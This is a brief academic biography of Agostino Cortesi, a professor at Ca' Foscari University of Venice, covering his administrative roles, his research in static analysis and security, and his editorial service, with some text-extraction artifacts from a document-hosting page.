Professor Agostino Cortesi is a Full Professor at Ca’ Fos-cari University of Venice. Recently, he served as Dean of theComputer Science program, and as Department Chair. He alsoserved 8 years as Vice-Rector of Ca’ Foscari University, tak-ing care of quality assessment and institutional affairs. His mainresearch interests concern programming languages theory andstatic analysis techniques, with particular emphasis on securityapplications. He is also interested in investigating the impactof ICT on different social and economic fields (from Tourismto E-Government to Social Sciences). He has published morethan 100 papers in high level international journals and pro-ceedings of international conferences. He served as member ofseveral program committees for international conferences (e.g.,SAS, VMCAI, CSF) and on editorial boards of scientific jour-nals (Computer Languages, Systems and Structures, Journal ofUniversal Computer Science).

[email protected]

466585 1 En Print - ipp.pt

Documents

Transcript of 466585 1 En Print - ipp.pt